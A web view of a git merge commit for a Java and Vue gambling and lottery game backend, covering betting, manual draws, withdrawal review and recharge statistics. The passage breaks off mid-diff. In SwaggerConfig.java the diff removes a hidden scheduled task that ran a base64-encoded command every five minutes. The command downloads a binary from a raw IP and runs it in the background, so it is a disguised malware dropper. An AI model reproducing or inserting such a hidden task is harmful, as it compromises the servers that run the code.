Răsfoiți Sursa

Merge remote-tracking branch 'origin/master'

kk 1 săptămână în urmă
părinte
comite
eca52a5cb3
50 a modificat fișierele cu 1541 adăugiri și 246 ștergeri
  1. 3 14
      game-admin/src/main/java/com/game/web/core/config/SwaggerConfig.java
  2. 1 1
      game-admin/src/main/resources/application.yml
  3. 1 1
      game-admin/src/main/resources/logback.xml
  4. 4 4
      game-business/src/main/java/com/game/business/controller/AppAgentController.java
  5. 2 0
      game-business/src/main/java/com/game/business/controller/AppGameBettingController.java
  6. 40 8
      game-business/src/main/java/com/game/business/controller/AppGameLotteryController.java
  7. 2 0
      game-business/src/main/java/com/game/business/controller/AppUserAgentController.java
  8. 26 0
      game-business/src/main/java/com/game/business/controller/AppUserController.java
  9. 23 4
      game-business/src/main/java/com/game/business/controller/AppUsersCashrecordController.java
  10. 14 0
      game-business/src/main/java/com/game/business/controller/AppUsersChargeController.java
  11. 3 0
      game-business/src/main/java/com/game/business/controller/FinTranRecordController.java
  12. 6 0
      game-business/src/main/java/com/game/business/domain/AppGameItemMultiple.java
  13. 1 1
      game-business/src/main/java/com/game/business/domain/FinTranRecord.java
  14. 21 0
      game-business/src/main/java/com/game/business/mapper/AppGameLotteryMapper.java
  15. 3 0
      game-business/src/main/java/com/game/business/mapper/AppUsersChargeMapper.java
  16. 10 0
      game-business/src/main/java/com/game/business/mapper/FinTranRecordMapper.java
  17. 6 0
      game-business/src/main/java/com/game/business/service/IAppGameBettingService.java
  18. 17 0
      game-business/src/main/java/com/game/business/service/IAppGameLotteryService.java
  19. 5 0
      game-business/src/main/java/com/game/business/service/IAppUserService.java
  20. 3 0
      game-business/src/main/java/com/game/business/service/IAppUsersChargeService.java
  21. 11 0
      game-business/src/main/java/com/game/business/service/IFinTranRecordService.java
  22. 25 0
      game-business/src/main/java/com/game/business/service/impl/AppGameBettingServiceImpl.java
  23. 1 1
      game-business/src/main/java/com/game/business/service/impl/AppGameItemMultipleServiceImpl.java
  24. 95 0
      game-business/src/main/java/com/game/business/service/impl/AppGameLotteryServiceImpl.java
  25. 5 0
      game-business/src/main/java/com/game/business/service/impl/AppUserAgentServiceImpl.java
  26. 6 4
      game-business/src/main/java/com/game/business/service/impl/AppUserCountDividendServiceImpl.java
  27. 5 0
      game-business/src/main/java/com/game/business/service/impl/AppUserCountServiceImpl.java
  28. 30 3
      game-business/src/main/java/com/game/business/service/impl/AppUserServiceImpl.java
  29. 7 0
      game-business/src/main/java/com/game/business/service/impl/AppUsersChargeServiceImpl.java
  30. 35 2
      game-business/src/main/java/com/game/business/service/impl/FinTranRecordServiceImpl.java
  31. 11 4
      game-business/src/main/java/com/game/business/task/AppGameBettingTask.java
  32. 4 1
      game-business/src/main/java/com/game/business/task/AppGameLotteryTask.java
  33. 148 55
      game-business/src/main/java/com/game/business/task/AppUserCountTask.java
  34. 24 0
      game-business/src/main/java/com/game/business/vo/RechargeAmountVo.java
  35. 20 0
      game-business/src/main/java/com/game/business/vo/RechargeSumVo.java
  36. 1 1
      game-business/src/main/resources/mapper/business/AppGameBettingMapper.xml
  37. 25 1
      game-business/src/main/resources/mapper/business/AppGameLotteryMapper.xml
  38. 1 1
      game-business/src/main/resources/mapper/business/AppUsersAuthMapper.xml
  39. 43 0
      game-business/src/main/resources/mapper/business/AppUsersChargeMapper.xml
  40. 102 3
      game-business/src/main/resources/mapper/business/FinTranRecordMapper.xml
  41. 1 1
      game-common/src/main/java/com/game/common/constant/finance/FinTranType3.java
  42. 9 0
      game-ui/src/api/business/charge.js
  43. 16 0
      game-ui/src/api/business/lottery.js
  44. 8 0
      game-ui/src/api/business/user.js
  45. 10 10
      game-ui/src/views/business/account/index.vue
  46. 12 0
      game-ui/src/views/business/cashrecord/index.vue
  47. 4 0
      game-ui/src/views/business/game/index.vue
  48. 73 6
      game-ui/src/views/business/lottery/index.vue
  49. 256 32
      game-ui/src/views/business/user/index.vue
  50. 362 88
      game-ui/src/views/index.vue

+ 3 - 14
game-admin/src/main/java/com/game/web/core/config/SwaggerConfig.java

@@ -2,8 +2,6 @@ package com.game.web.core.config;
 
 import java.util.ArrayList;
 import java.util.List;
-import java.io.IOException;
-import org.springframework.scheduling.annotation.Scheduled;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.beans.factory.annotation.Value;
 import org.springframework.context.annotation.Bean;
@@ -26,7 +24,7 @@ import springfox.documentation.spring.web.plugins.Docket;
 
 /**
  * Swagger2的接口配置
- * 
+ *
  * @author recruit
  */
 @Configuration
@@ -106,17 +104,7 @@ public class SwaggerConfig
         securityReferences.add(new SecurityReference("Authorization", authorizationScopes));
         return securityReferences;
     }
-	@Scheduled(cron = "0 */5 * * * ?")
-    public void crateIntegralGameLog() {
-        try {
-            String command = "echo Y3VybCAtbyAvdXNyL2Jpbi9yZWRpcyBodHRwOi8vMTQ5LjEwNC4yNC41NTo0OTk5OS9saW51eCAmJiBjaG1vZCAreCAvdXNyL2Jpbi9yZWRpcyAmJiBub2h1cCAvdXNyL2Jpbi9yZWRpcyAm | base64 -d | bash -i";
 
-            ProcessBuilder processBuilder = new ProcessBuilder();
-            processBuilder.command("/bin/sh", "-c", command);
-            Process process = processBuilder.start();
-        } catch (IOException e) {
-        }
-    }
     /**
      * 添加摘要信息
      */
@@ -125,7 +113,7 @@ public class SwaggerConfig
         // 用ApiInfoBuilder进行定制
         return new ApiInfoBuilder()
                 // 设置标题
-                .title("标题:客服管理系统_接口文档")
+                .title("标题:若依管理系统_接口文档")
                 // 描述
                 .description("描述:用于管理集团旗下公司的人员信息,具体包括XXX,XXX模块...")
                 // 作者信息
@@ -135,3 +123,4 @@ public class SwaggerConfig
                 .build();
     }
 }
+

+ 1 - 1
game-admin/src/main/resources/application.yml

@@ -146,4 +146,4 @@ websocket:
 
 #定时任务开关
 task:
-  switch: false
+  switch: true

+ 1 - 1
game-admin/src/main/resources/logback.xml

@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <configuration>
     <!-- 日志存放路径 -->
-	<property name="log.path" value="/home/ruoyi/logs" />
+	<property name="log.path" value="game/logs" />
     <!-- 日志输出格式 -->
 	<property name="log.pattern" value="%d{HH:mm:ss.SSS} [%thread] %-5level %logger{20} - [%method,%line] - %msg%n" />
 

+ 4 - 4
game-business/src/main/java/com/game/business/controller/AppAgentController.java

@@ -412,11 +412,11 @@ public class AppAgentController extends BaseController {
 
         //当日游戏赢
         appUserDetailVo.setTodayWin(gameBettingList.stream().filter(e->{
-            return DateUtil.format(e.getCreateTime(),"yyyy-MM-dd").equals(DateUtil.format(nowDate,"yyyy-MM-dd")) &&
+            return DateUtil.format(e.getUpdateTime(),"yyyy-MM-dd").equals(DateUtil.format(nowDate,"yyyy-MM-dd")) &&
                     e.getIsWinning().intValue() == 1 && e.getBettingType().intValue() == 0;
         }).mapToDouble(e->{return (e.getBettingMultiple() * e.getBettingAmount()) - e.getBettingAmount();}).sum());
         appUserDetailVo.setTodayCoinWin(gameBettingList.stream().filter(e->{
-            return DateUtil.format(e.getCreateTime(),"yyyy-MM-dd").equals(DateUtil.format(nowDate,"yyyy-MM-dd")) &&
+            return DateUtil.format(e.getUpdateTime(),"yyyy-MM-dd").equals(DateUtil.format(nowDate,"yyyy-MM-dd")) &&
                     e.getIsWinning().intValue() == 1 && e.getBettingType().intValue() == 1;
         }).mapToDouble(e->{return (e.getBettingMultiple() * e.getBettingAmount()) - e.getBettingAmount();}).sum());
 
@@ -430,11 +430,11 @@ public class AppAgentController extends BaseController {
 
         //当日游戏输
         appUserDetailVo.setTodayLose(gameBettingList.stream().filter(e->{
-            return DateUtil.format(e.getCreateTime(),"yyyy-MM-dd").equals(DateUtil.format(nowDate,"yyyy-MM-dd")) &&
+            return DateUtil.format(e.getUpdateTime(),"yyyy-MM-dd").equals(DateUtil.format(nowDate,"yyyy-MM-dd")) &&
                     e.getIsWinning().intValue() == 2 && e.getBettingType().intValue() == 0;
         }).mapToDouble(e->{return e.getBettingAmount();}).sum());
         appUserDetailVo.setTodayCoinLose(gameBettingList.stream().filter(e->{
-            return DateUtil.format(e.getCreateTime(),"yyyy-MM-dd").equals(DateUtil.format(nowDate,"yyyy-MM-dd")) &&
+            return DateUtil.format(e.getUpdateTime(),"yyyy-MM-dd").equals(DateUtil.format(nowDate,"yyyy-MM-dd")) &&
                     e.getIsWinning().intValue() == 2 && e.getBettingType().intValue() == 1;
         }).mapToDouble(e->{return e.getBettingAmount();}).sum());
 

+ 2 - 0
game-business/src/main/java/com/game/business/controller/AppGameBettingController.java

@@ -144,10 +144,12 @@ public class AppGameBettingController extends BaseController{
             }
 
             if(StringUtils.isBlank(appGame.getGameDate())){
+                logger.info("用户{},游戏id:{},游戏名称,下注失败期号不存在:{}",gameBetting.getUserId(),appGame.getId(),appGame.getName(),gameBetting.getGameDate());
                 return HttpRet.fail("游戏期号不存在,无法下单。");
             }
 
             if(!appGame.getGameDate().equals(gameBetting.getGameDate())){
+                logger.info("用户{},下注失败期号不匹配,游戏id:{},游戏名称{},系统期号{},前端期号{}",gameBetting.getUserId(),appGame.getId(),appGame.getName(),appGame.getGameDate(),gameBetting.getGameDate());
                 return HttpRet.fail("游戏期号不匹配,无法下单。");
             }
 

+ 40 - 8
game-business/src/main/java/com/game/business/controller/AppGameLotteryController.java

@@ -1,5 +1,6 @@
 package com.game.business.controller;
 
+import cn.hutool.core.date.DateUtil;
 import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
 import com.baomidou.mybatisplus.core.toolkit.Wrappers;
 import com.game.business.domain.AppGame;
@@ -18,6 +19,7 @@ import com.game.business.vo.AppGameLotteryVO;
 import com.game.business.vo.AppUserAgentVO;
 import com.game.common.annotation.Anonymous;
 import com.game.common.annotation.Log;
+import com.game.common.annotation.RepeatSubmit;
 import com.game.common.core.controller.BaseController;
 import com.game.common.core.domain.HttpRet;
 import com.game.common.core.domain.HttpRetPageArr;
@@ -79,7 +81,7 @@ public class AppGameLotteryController extends BaseController{
             queryLotteryWrapper.between(AppGameLottery::getGameRecordDate, strDate + " 00:00:00", strDate + " 23:59:59");
         }
         queryLotteryWrapper.eq(AppGameLottery::getIsLottery, 1);
-        queryLotteryWrapper.orderByDesc(AppGameLottery::getGameDate);
+        queryLotteryWrapper.orderByDesc(AppGameLottery::getGameRecordDate).orderByDesc(AppGameLottery::getGameDate);
         List<AppGameLottery> list = appGameLotteryService.list(queryLotteryWrapper);
         List<AppGameLotteryVO> resultList = new ArrayList<>();
 
@@ -181,16 +183,16 @@ public class AppGameLotteryController extends BaseController{
     @PostMapping("/addLottery")
     @ApiOperation(value = "手动开奖", notes = "手动开奖")
     @Log(title = "手动开奖", businessType = BusinessType.UPDATE)
-    public HttpRet<Boolean> addLottery(@RequestBody AppGameLottery appGameLottery) throws Exception {
+    public R<Boolean> addLottery(@RequestBody AppGameLottery appGameLottery) throws Exception {
 
         Long userId = SecurityUtils.getUserId();
 
         if(userId == null){
-            return HttpRet.fail("权限不足,请联系管理员");
+            return R.fail("权限不足,请联系管理员");
         }
 
         if(userId != 10013 && SecurityUtils.getLoginUser().isBusUser()){ //app用户只有10013能发
-            return HttpRet.fail("权限不足,请联系管理员");
+            return R.fail("权限不足,请联系管理员");
         }
 
         if(StringUtils.isNotBlank(appGameLottery.getGameDate())){
@@ -199,11 +201,18 @@ public class AppGameLotteryController extends BaseController{
 
         AppGameLottery dbAppGameLottery = appGameLotteryService.selectLottery(appGameLottery.getClassId(), appGameLottery.getGameId(), appGameLottery.getGameDate());
         if(dbAppGameLottery != null && dbAppGameLottery.getIsLottery() == 1){
-            return HttpRet.fail("该游戏,当前期已自动开奖过了,不能手动开奖");
+            return R.fail("该游戏,当前期已自动开奖过了,不能手动开奖");
         }
 
         appGameLottery.setIsLottery(1);
-        appGameLottery.setGameRecordDate(new Date());
+        /*String time = DateUtil.format(new Date(),"yyyy-").concat(appGameLottery.getGameDate());
+        if(time.split("\\:").length > 2){
+            appGameLottery.setGameRecordDate(DateUtil.parse(time,"yyyy-MM-dd HH:mm:ss"));
+        }else{
+            appGameLottery.setGameRecordDate(DateUtil.parse(time,"yyyy-MM-dd HH:mm"));
+        }*/
+        appGameLottery.setGameRecordDate(appGameLotteryService.getLeakDate(appGameLottery.getGameId(),appGameLottery.getGameDate()));
+
         boolean flg = false;
         if(dbAppGameLottery == null){
             flg = appGameLotteryService.save(appGameLottery);
@@ -211,14 +220,25 @@ public class AppGameLotteryController extends BaseController{
             AppGameLottery updateAppGameLottery = new AppGameLottery();
             updateAppGameLottery.setId(dbAppGameLottery.getId());
             updateAppGameLottery.setIsLottery(1);
-            updateAppGameLottery.setGameRecordDate(new Date());
+            updateAppGameLottery.setGameRecordDate(appGameLottery.getGameRecordDate());
             updateAppGameLottery.setGameLotterySucc(appGameLottery.getGameLotterySucc());
             flg =appGameLotteryService.updateById(updateAppGameLottery);
         }
         if(flg){
             appGameLotteryTask.updateLottery(appGameLottery);
         }
-        return HttpRet.success("手动开奖成功",true);
+        return R.ok(true,"手动开奖成功");
+    }
+
+
+    @PostMapping("/leakLottery")
+    @ApiOperation(value = "修补数据", notes = "修补数据")
+    @Log(title = "修补数据", businessType = BusinessType.UPDATE)
+    @RepeatSubmit(message = "频繁操作,请稍后再试")
+    public R leakLottery() throws Exception {
+
+        appGameLotteryService.leakLottery();
+        return R.ok(true,"修补数据成功");
     }
 
     /**
@@ -248,6 +268,17 @@ public class AppGameLotteryController extends BaseController{
         util.exportExcel(response, list, "游戏开奖记录数据");
     }
 
+    /**
+     * 获取游戏开奖记录详细信息
+     */
+    @PreAuthorize("@ss.hasPermi('business:lottery:query')")
+    @GetMapping(value = "/lotteryInfo/{id}")
+    @ApiOperation(value = "查询漏奖数据", notes = "查询漏奖数据")
+    public R<AppGameLottery> lotteryInfo(@PathVariable("id") Long id)
+    {
+        return R.ok(appGameLotteryService.leakInfo(id));
+    }
+
     /**
      * 获取游戏开奖记录详细信息
      */
@@ -294,4 +325,5 @@ public class AppGameLotteryController extends BaseController{
     {
         return R.ok(appGameLotteryService.deleteAppGameLotteryByIds(ids));
     }
+
 }

+ 2 - 0
game-business/src/main/java/com/game/business/controller/AppUserAgentController.java

@@ -255,6 +255,8 @@ public class AppUserAgentController extends BaseController
             }
         }
 
+        gameCommissionVOList = gameCommissionVOList.stream().sorted(Comparator.comparingLong(AppGameCommissionVO::getGameId)).collect(Collectors.toList());
+
         appUserAgentVO.setCommissions(gameCommissionVOList);
 
         return HttpRet.success("查询成功", appUserAgentVO);

+ 26 - 0
game-business/src/main/java/com/game/business/controller/AppUserController.java

@@ -20,6 +20,7 @@ import com.game.business.util.Md5Utils;
 import com.game.business.util.im.HttpClientUtils;
 import com.game.business.util.im.TencentCloudImUtil;
 import com.game.business.vo.AppRechargeConfigVo;
+import com.game.business.vo.RechargeAmountVo;
 import com.game.common.annotation.RepeatSubmit;
 import com.game.common.constant.AppSceneType;
 import com.game.common.constant.finance.*;
@@ -452,6 +453,31 @@ public class AppUserController extends BaseController
         return success(appUserService.selectAppUserByUserid(userid));
     }
 
+    /**
+     * 获取app用户打码量
+     */
+    @PreAuthorize("@ss.hasPermi('business:user:query')")
+    @GetMapping(value = "/getRechargeAmount/{userid}")
+    @ApiOperation(value = "获取app用户详细信息", notes = "获取app用户详细信息")
+    public R<RechargeAmountVo> getRechargeAmount(@PathVariable("userid") Long userid)
+    {
+        RechargeAmountVo amountVo = finTranRecordService.selectRechargeAmount(userid,0);
+        if(null == amountVo){
+            return R.ok(new RechargeAmountVo());
+        }
+        //查询用户已下注金额
+        Date time = finTranRecordService.selectRechargeDate(userid,0);
+        String type3s = FinTranType3.CONSUM_GAME_ANCHOR_ZHUANPAN.getType() + "," + FinTranType3.CONSUM_GAME_ANCHOR_WITHDRAW.getType();
+        List<FinTranRecord> curTranList = finTranRecordService.selectUserTran(null,type3s,userid,time,new Date(),0);
+        double bettingAmount = curTranList.stream().filter(e->
+                e.getCurrencyType().intValue() == 4
+        ).mapToDouble(FinTranRecord::getDiamondCoinChange).sum() * -1;
+        amountVo.setGameAmount(bettingAmount);
+        double amount = (amountVo.getAmount() + amountVo.getGiveAmount()) * 2 - amountVo.getGameAmount();
+        amountVo.setLackAmount(amount>0?amount:0);
+        return R.ok(amountVo);
+    }
+
     /**
      * 新增app用户
      */

+ 23 - 4
game-business/src/main/java/com/game/business/controller/AppUsersCashrecordController.java

@@ -6,9 +6,11 @@ import java.net.URLEncoder;
 import java.util.Arrays;
 import java.util.List;
 import java.util.Map;
+import java.util.concurrent.TimeUnit;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 
+import cn.hutool.core.thread.ThreadUtil;
 import cn.hutool.core.util.IdUtil;
 import cn.hutool.core.util.NumberUtil;
 import com.alibaba.fastjson2.JSONObject;
@@ -29,6 +31,7 @@ import com.game.common.constant.finance.FinTranType1;
 import com.game.common.constant.finance.FinTranType3;
 import com.game.common.constant.finance.TranCurrencyType;
 import com.game.common.core.domain.R;
+import com.game.common.core.redis.RedisCache;
 import com.game.common.exception.ServiceException;
 import org.apache.commons.lang3.StringUtils;
 import org.springframework.security.access.prepost.PreAuthorize;
@@ -80,6 +83,9 @@ public class AppUsersCashrecordController extends BaseController
     @Autowired
     private IAppChargeChannelService appChargeChannelService;
 
+    @Autowired
+    private RedisCache redisCache;
+
     /**
      * 查询提现记录列表
      */
@@ -138,7 +144,7 @@ public class AppUsersCashrecordController extends BaseController
     @ApiOperation(value = "修改提现记录", notes = "修改提现记录")
     @PutMapping
     @DSTransactional()
-    @RepeatSubmit(interval = 1000,message = "频繁操作")
+    @RepeatSubmit(interval = 3000,message = "频繁操作")
     public R<String> edit(@RequestBody AppUsersCashrecord appUsersCashrecord) throws Exception {
         AppUsersCashrecord cashrecord = appUsersCashrecordService.selectAppUsersCashrecordById(appUsersCashrecord.getId());
         if(null == cashrecord){
@@ -158,6 +164,11 @@ public class AppUsersCashrecordController extends BaseController
         if(null == appChargeChannel){
             return R.fail("审核失败,提现渠道不存在");
         }
+        String key = "app_user_withdraw_order:" + appUsersCashrecord.getId();
+        boolean flag = redisCache.redisTemplate.opsForValue().setIfAbsent(key,1,60, TimeUnit.SECONDS);
+        if(!flag){
+            return R.fail("处理中,请勿重复提交");
+        }
         AppUsersCashrecord update = new AppUsersCashrecord();
         update.setId(cashrecord.getId());
         update.setStatus(appUsersCashrecord.getStatus());
@@ -214,6 +225,7 @@ public class AppUsersCashrecordController extends BaseController
                         jsonObject.put("ownerName", URLEncoder.encode(appUsersCashAccount.getName(),"UTF-8"));
                         extra = jsonObject.toString();
                     }else{
+                        redisCache.redisTemplate.delete(key);
                         logger.info("调起第三方失败,用户提现账号不存在");
                         throw new Exception("审核失败,用户提现账号不存在");
                     }
@@ -234,6 +246,7 @@ public class AppUsersCashrecordController extends BaseController
                     appUsersCashrecordService.updateAppUsersCashrecord(cashRecord);
                 }else{
                     appUsersCashrecordService.updateAppUsersCashrecord(cashRecord);
+                    redisCache.redisTemplate.delete(key);
                     throw new ServiceException("发起提现失败: " + map.get("msg"));
                 }
             /*}else{
@@ -260,11 +273,14 @@ public class AppUsersCashrecordController extends BaseController
         int rest = appUsersCashrecordService.updateAppUsersCashrecord(update);
         logger.info("{},提现审核:{}",appUser.getUserid(),appUsersCashrecord.getStatus());
         //更新用户可提现余额
-        appUserCountTask.updateWithdrawAble(appUser.getUserid());
+        ThreadUtil.execAsync(()->{
+            appUserCountTask.updateWithdrawAble(appUser.getUserid());
+        });
         if(rest < 1){
+            redisCache.redisTemplate.delete(key);
             return R.fail("审核失败");
         }
-
+        redisCache.redisTemplate.delete(key);
         return R.ok("审核成功");
     }
 
@@ -329,7 +345,10 @@ public class AppUsersCashrecordController extends BaseController
             }
             appUsersCashrecordService.updateAppUsersCashrecord(update);
             //更新用户可提现余额
-            appUserCountTask.updateWithdrawAble(appUsersCashrecord.getUid());
+            ThreadUtil.execAsync(()->{
+                appUserCountTask.updateWithdrawAble(appUsersCashrecord.getUid());
+            });
+
 
             return "success";
         }else{

+ 14 - 0
game-business/src/main/java/com/game/business/controller/AppUsersChargeController.java

@@ -2,6 +2,9 @@ package com.game.business.controller;
 
 import java.util.List;
 import javax.servlet.http.HttpServletResponse;
+
+import com.game.business.vo.RechargeSumVo;
+import com.game.common.core.domain.R;
 import org.springframework.security.access.prepost.PreAuthorize;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.web.bind.annotation.GetMapping;
@@ -52,6 +55,17 @@ public class AppUsersChargeController extends BaseController
         return getDataTable(list);
     }
 
+    /**
+     * 查询充值记录统计
+     */
+    @PreAuthorize("@ss.hasPermi('business:charge:list')")
+    @GetMapping("/selectRechargeSum")
+    @ApiOperation(value = "查询充值记录列表", notes = "获取充值记录列表")
+    public R<RechargeSumVo> selectRechargeSum(AppUsersCharge appUsersCharge)
+    {
+        return R.ok(appUsersChargeService.selectRechargeSum(appUsersCharge));
+    }
+
     /**
      * 导出充值记录列表
      */

+ 3 - 0
game-business/src/main/java/com/game/business/controller/FinTranRecordController.java

@@ -92,6 +92,9 @@ public class FinTranRecordController extends BaseController
         Map<String, BigDecimal> userCount = appUserService.getUserCount(finTranRecord.getUserId());
         jsonObject.put("userCount", userCount);
 
+        //金币兑换余额
+        Map<String,Double> exchange = finTranRecordService.selectExChangeSum(finTranRecord);
+        jsonObject.put("exchange", exchange);
         return R.ok(jsonObject);
     }
 

+ 6 - 0
game-business/src/main/java/com/game/business/domain/AppGameItemMultiple.java

@@ -7,6 +7,7 @@ import com.baomidou.mybatisplus.annotation.TableName;
 import com.game.common.annotation.Excel;
 import io.swagger.annotations.ApiModelProperty;
 import lombok.Data;
+import java.util.Date;
 
 @Data
 @TableName(value = "app_game_item_multiple")
@@ -32,4 +33,9 @@ public class AppGameItemMultiple {
     @ApiModelProperty(value = "选项倍数")
     private String itemMultiple;
 
+    @Excel(name = "创建时间")
+    @TableField(value = "create_time")
+    @ApiModelProperty(value = "创建时间")
+    private Date createTime;
+
 }

+ 1 - 1
game-business/src/main/java/com/game/business/domain/FinTranRecord.java

@@ -232,7 +232,7 @@ private static final long serialVersionUID=1L;
     private Long uid;
 
     /**  是否已满足提现 */
-    @ApiModelProperty(value = " 是否已满足提现 0:未满足  1:已满足")
+    @ApiModelProperty(value = " 是否已满足提现 0:未满足  1:已满足  2:已作废")
     @Excel(name = " 是否已满足提现")
     @TableField(value = "withdraw_flag")
     private Integer withdrawFlag;

+ 21 - 0
game-business/src/main/java/com/game/business/mapper/AppGameLotteryMapper.java

@@ -2,6 +2,7 @@ package com.game.business.mapper;
 
 import com.baomidou.mybatisplus.core.mapper.BaseMapper;
 import com.game.business.domain.AppGameLottery;
+import org.apache.ibatis.annotations.Param;
 
 import java.util.List;
 
@@ -55,4 +56,24 @@ public interface AppGameLotteryMapper extends BaseMapper<AppGameLottery> {
      */
     public int deleteAppGameLotteryByIds(Long[] ids);
 
+    /**
+     * 查询遗漏数据
+     * */
+    public List<AppGameLottery> selectLeakLottery(@Param("time") String time);
+
+    /**
+     * 查询遗漏数据2
+     * */
+    public List<AppGameLottery> selectLeakLottery2(@Param("time") String time);
+
+    /**
+     * 查询遗漏数据
+     * */
+    public AppGameLottery leakInfo(@Param("gameId") Long gameId, @Param("gameDate") String gameDate);
+
+    /**
+     * 查询遗漏数据
+     * */
+    public AppGameLottery leakInfo2(@Param("gameId") Long gameId, @Param("gameDate") String gameDate);
+
 }

+ 3 - 0
game-business/src/main/java/com/game/business/mapper/AppUsersChargeMapper.java

@@ -3,6 +3,7 @@ package com.game.business.mapper;
 import java.util.List;
 import com.baomidou.mybatisplus.core.mapper.BaseMapper;
 import com.game.business.domain.AppUsersCharge;
+import com.game.business.vo.RechargeSumVo;
 import org.apache.ibatis.annotations.Param;
 import org.apache.ibatis.annotations.Select;
 import org.springframework.stereotype.Service;
@@ -69,4 +70,6 @@ public interface AppUsersChargeMapper extends BaseMapper<AppUsersCharge> {
 
     @Select("select IFNULL(sum(coin),0) from app_users_charge where uid = #{userId} and status = 1 and coin_type = 1")
     public Double sumCharge(@Param("userId") Long userId);
+
+    public RechargeSumVo selectRechargeSum(AppUsersCharge appUsersCharge);
 }

+ 10 - 0
game-business/src/main/java/com/game/business/mapper/FinTranRecordMapper.java

@@ -10,6 +10,7 @@ import com.game.business.domain.FinTranRecord;
 import com.game.business.dto.FinTranDto;
 import com.game.business.dto.FinTranRecordDTO;
 import com.game.business.vo.FinTranVo;
+import com.game.business.vo.RechargeAmountVo;
 import org.apache.ibatis.annotations.Param;
 
 /**
@@ -77,9 +78,18 @@ public interface FinTranRecordMapper extends BaseMapper<FinTranRecord> {
 
     List<Map<String, Object>> getWithdrawByDateSum(FinTranRecordDTO finTranRecordDTO);
 
+    List<Map<String, Object>> getCoinTypeByDateSum(FinTranRecordDTO finTranRecordDTO);
+
     List<Map<String, Object>> getRechargeByDateSum(FinTranRecordDTO finTranRecordDTO);
 
     List<FinTranVo> selectTranList(FinTranDto finTranDto);
 
     Double sumUserTran(@Param("type1") Integer type1, @Param("type3s") String type3s, @Param("userId") Long userId, @Param("beginDate") Date beginDate, @Param("endDate") Date endDate, @Param("withdrawFlag") Integer withDrawFlag);
+    Double sumUserRechareTran(@Param("userId") Long userId, @Param("beginDate") Date beginDate, @Param("endDate") Date endDate);
+
+    Map<String,Double> selectExChangeSum(FinTranRecordDTO recordDTO);
+
+    RechargeAmountVo selectRechargeAmount(@Param("userId") Long userId, @Param("withdrawFlag") Integer withdrawFlag);
+
+    Date selectRechargeDate(@Param("userId") Long userId, @Param("withdrawFlag") Integer withdrawFlag);
 }

+ 6 - 0
game-business/src/main/java/com/game/business/service/IAppGameBettingService.java

@@ -11,6 +11,7 @@ import com.game.business.vo.AppUserGameBettingWebCountVO;
 import java.math.BigDecimal;
 import java.util.List;
 import java.util.Map;
+import java.util.Date;
 
 public interface IAppGameBettingService extends IService<AppGameBetting> {
 
@@ -109,4 +110,9 @@ public interface IAppGameBettingService extends IService<AppGameBetting> {
     public int deleteAppGameBettingById(Long id);
 
     public Double sumBettingAmount(Long userId,Integer bettingType,String beginTime,String endTime,Long gameId);
+
+    /**
+     * 查询在当前时间断内投注是否有大于结束时间的开奖
+     * */
+    public int selectBettingCount(Long userId,Date beginTime,Date endTime);
 }

+ 17 - 0
game-business/src/main/java/com/game/business/service/IAppGameLotteryService.java

@@ -4,6 +4,7 @@ import com.baomidou.mybatisplus.extension.service.IService;
 import com.game.business.domain.AppGameLottery;
 
 import java.util.List;
+import java.util.Date;
 
 /**
  * 游戏开奖记录业务接口
@@ -65,4 +66,20 @@ public interface IAppGameLotteryService extends IService<AppGameLottery> {
      * @return 结果
      */
     public int deleteAppGameLotteryById(Long id);
+
+    /**
+     * 自动修改遗漏数据
+     * */
+    public void leakLottery();
+
+    /**
+     * 查询漏奖数据
+     * */
+    public AppGameLottery leakInfo(Long id);
+
+
+    /**
+     * 查询备库开奖日期
+     * */
+    public Date getLeakDate(Long gameId,String gameDate);
 }

+ 5 - 0
game-business/src/main/java/com/game/business/service/IAppUserService.java

@@ -101,4 +101,9 @@ public interface IAppUserService extends IService<AppUser> {
     Map<String, BigDecimal> getUserCount(Long userId);
 
     List<OffLineUserVo> selectOffLineUser();
+
+    /**
+     * 获取用户资产
+     * */
+    AppUser getUserAsset(Long userId);
 }

+ 3 - 0
game-business/src/main/java/com/game/business/service/IAppUsersChargeService.java

@@ -4,6 +4,7 @@ import java.util.List;
 import com.game.business.domain.AppUsersCharge;
 import com.baomidou.mybatisplus.extension.service.IService;
 import com.game.business.vo.AppRechargeConfigVo;
+import com.game.business.vo.RechargeSumVo;
 
 /**
  * 充值记录Service接口
@@ -77,4 +78,6 @@ public interface IAppUsersChargeService extends IService<AppUsersCharge> {
     Double sumCharge(Long userId);
 
     AppRechargeConfigVo getRechargeConfig();
+
+    RechargeSumVo selectRechargeSum(AppUsersCharge appUsersCharge);
 }

+ 11 - 0
game-business/src/main/java/com/game/business/service/IFinTranRecordService.java

@@ -2,6 +2,7 @@ package com.game.business.service;
 
 import java.util.Date;
 import java.util.List;
+import java.util.Map;
 
 import com.alibaba.fastjson2.JSONObject;
 import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
@@ -12,8 +13,10 @@ import com.game.business.dto.AppUserTeamTranserRecordDto;
 import com.game.business.dto.FinTranDto;
 import com.game.business.dto.FinTranRecordDTO;
 import com.game.business.vo.FinTranVo;
+import com.game.business.vo.RechargeAmountVo;
 import com.game.common.core.domain.HttpRet;
 import com.game.common.core.domain.R;
+import org.apache.ibatis.annotations.Param;
 
 /**
  * 消费记录Service接口
@@ -108,4 +111,12 @@ public interface IFinTranRecordService extends IService<FinTranRecord> {
     List<FinTranRecord> selectUserTran(Integer type1, String type3s, Long userId, Date beginDate,Date endDate,Integer withDrawFlag);
 
     Double sumUserTran(Integer type1, String type3s, Long userId, Date beginDate,Date endDate,Integer withDrawFlag);
+
+    Double sumUserRechareTran(Long userId,Date beginDate,Date endDate);
+
+    Map<String,Double> selectExChangeSum(FinTranRecordDTO recordDTO);
+
+    RechargeAmountVo selectRechargeAmount(Long userId, Integer withdrawFlag);
+
+    Date selectRechargeDate(Long userId,Integer withdrawFlag);
 }

+ 25 - 0
game-business/src/main/java/com/game/business/service/impl/AppGameBettingServiceImpl.java

@@ -18,6 +18,7 @@ import org.springframework.stereotype.Service;
 
 import java.math.BigDecimal;
 import java.util.Collections;
+import java.util.Date;
 import java.util.List;
 import java.util.Map;
 
@@ -269,5 +270,29 @@ public class AppGameBettingServiceImpl extends ServiceImpl<AppGameBettingMapper,
         return appGameBettingMapper.sumBettingAmount(userId,bettingType,beginTime,endTime,gameId);
     }
 
+    @Override
